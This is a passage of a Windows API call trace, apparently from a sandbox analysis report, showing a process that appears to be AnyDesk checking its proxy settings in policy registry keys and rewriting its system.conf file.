lpWideCharStr="direct") returned 7 [0283.932] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19636a0 [0283.932] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab090 [0283.933] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0283.933] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2f) returned 0x19742b0 [0283.933] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731a0 | out: hHeap=0x1930000) returned 1 [0283.933] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.933] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.933] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8d10 | out: hHeap=0x1930000) returned 1 [0283.933] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19abf08 | out: hHeap=0x1930000) returned 1 [0283.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa38, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.933] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa268 [0283.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa38, cbMultiByte=-1, lpWideCharStr=0x19aa268, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.mode") returned 21 [0283.933] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.934] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.934] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.934] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969920 [0283.934] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.934] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.935] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa268 | out: hHeap=0x1930000) returned 1 [0283.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa268 [0283.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa50, cbMultiByte=-1, lpWideCharStr=0x19aa268, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.type") returned 21 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.935] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x31) returned 0x19636e0 [0283.935] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x19622c0 [0283.936] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19636e0 | out: hHeap=0x1930000) returned 1 [0283.938] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.938] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d10 [0283.938] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa1c0 [0283.938] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.938] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.938] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x19622f0 [0283.938] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.type", lpReserved=0x0, lpType=0x2d4f570, lpData=0x0, lpcbData=0x2d4f574*=0x0 | out: lpType=0x2d4f570*=0x0, lpData=0x0, lpcbData=0x2d4f574*=0x0) returned 0x6 [0283.938] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f59c | out: phkResult=0x2d4f59c*=0x0) returned 0x2 [0283.939] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19622f0 | out: hHeap=0x1930000) returned 1 [0283.939] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.939] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.939] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.939] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x31) returned 0x19636e0 [0283.939] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x19622f0 [0283.940] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19636e0 | out: hHeap=0x1930000) returned 1 [0283.940] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.940] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d30 [0283.940] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa2a0 [0283.940] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.940] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.940] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1962320 [0283.940] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.type", lpReserved=0x0, lpType=0x2d4f570, lpData=0x0, lpcbData=0x2d4f574*=0x0 | out: lpType=0x2d4f570*=0x0, lpData=0x0, lpcbData=0x2d4f574*=0x0) returned 0x6 [0283.940] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f59c | out: phkResult=0x2d4f59c*=0x0) returned 0x2 [0283.941] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962320 | out: hHeap=0x1930000) returned 1 [0283.941] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969920 [0283.941] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.941] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.941] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa268 | out: hHeap=0x1930000) returned 1 [0283.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.941] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e80 | out: hHeap=0x1930000) returned 1 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e80 [0283.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964e90 | out: hHeap=0x1930000) returned 1 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964e90 [0283.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1964ea0 | out: hHeap=0x1930000) returned 1 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1964ea0 [0283.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.942] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1ce7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 33 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c3c8 [0283.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1ce7c, cbMultiByte=-1, lpWideCharStr=0x198c3c8, cchWideChar=33 | out: lpWideCharStr="ad.anynet.proxy.max_search_delay") returned 33 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.942] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.943] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x49) returned 0x1972050 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x19636e0 [0283.943] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972050 | out: hHeap=0x1930000) returned 1 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d50 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c4b8 [0283.943] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa0) returned 0x1991a60 [0283.944] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0283.944] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.944] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.944] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1963720 [0283.944] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.maxsearchdelay", lpReserved=0x0, lpType=0x2d4f570, lpData=0x0, lpcbData=0x2d4f574*=0x0 | out: lpType=0x2d4f570*=0x0, lpData=0x0, lpcbData=0x2d4f574*=0x0) returned 0x6 [0283.944] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f59c | out: phkResult=0x2d4f59c*=0x0) returned 0x2 [0283.944] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963720 | out: hHeap=0x1930000) returned 1 [0283.944] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.944] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x49) returned 0x1972c58 [0283.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1963720 [0283.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0283.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d70 [0283.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c558 [0283.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.945] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.945] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1963760 [0283.945] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.maxsearchdelay", lpReserved=0x0, lpType=0x2d4f570, lpData=0x0, lpcbData=0x2d4f574*=0x0 | out: lpType=0x2d4f570*=0x0, lpData=0x0, lpcbData=0x2d4f574*=0x0) returned 0x6 [0283.945] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f59c | out: phkResult=0x2d4f59c*=0x0) returned 0x2 [0283.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963760 | out: hHeap=0x1930000) returned 1 [0283.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969920 [0283.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.946] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x19aa268 [0283.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaa98, cbMultiByte=-1, lpWideCharStr=0x19aa268, cchWideChar=21 | out: lpWideCharStr="ad.anynet.proxy.auth") returned 21 [0283.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.946] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969910, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0d8 [0283.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0283.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab0c0 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0283.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab0c0 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cbc, cbMultiByte=-1, lpWideCharStr=0x19ab0c0, cchWideChar=6 | out: lpWideCharStr="false") returned 6 [0283.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.947] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa268 | out: hHeap=0x1930000) returned 1 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaab0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0283.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963760 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbeaab0, cbMultiByte=-1, lpWideCharStr=0x1963760, cchWideChar=26 | out: lpWideCharStr="ad.anynet.proxy.auto_auth") returned 26 [0283.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.947] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0283.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969920, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3b) returned 0x1970fa8 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa268 [0283.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970fa8 | out: hHeap=0x1930000) returned 1 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8d90 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19637a0 [0283.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.948] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.948] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa380 [0283.948] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.autoauth", lpReserved=0x0, lpType=0x2d4f560, lpData=0x0, lpcbData=0x2d4f564*=0x0 | out: lpType=0x2d4f560*=0x0, lpData=0x0, lpcbData=0x2d4f564*=0x0) returned 0x6 [0283.948] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f58c | out: phkResult=0x2d4f58c*=0x0) returned 0x2 [0283.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa380 | out: hHeap=0x1930000) returned 1 [0283.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0283.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969900 [0283.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3b) returned 0x1970fa8 [0283.949] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa380 [0283.949] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970fa8 | out: hHeap=0x1930000) returned 1 [0283.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0283.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8db0 [0283.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19637e0 [0283.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0283.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0283.950] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa310 [0283.950] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.proxy.autoauth", lpReserved=0x0, lpType=0x2d4f560, lpData=0x0, lpcbData=0x2d4f564*=0x0 | out: lpType=0x2d4f560*=0x0, lpData=0x0, lpcbData=0x2d4f564*=0x0) returned 0x6 [0283.950] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2d4f58c | out: phkResult=0x2d4f58c*=0x0) returned 0x2 [0283.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0283.950] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0283.950] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0283.951] LockFileEx (in: hFile=0x248, dwFlags=0x2, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2d4f710 | out: lpOverlapped=0x2d4f710) returned 1 [0283.951] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0283.951] SetEndOfFile (hFile=0x248) returned 1 [0283.952] WriteFile (in: hFile=0x248, lpBuffer=0x19681b8*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2d4f6d0, lpOverlapped=0x0 | out: lpBuffer=0x19681b8*, lpNumberOfBytesWritten=0x2d4f6d0*=0x1c7, lpOverlapped=0x0) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19681b8 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19731a0 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab318 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970ff0 | out: hHeap=0x1930000) 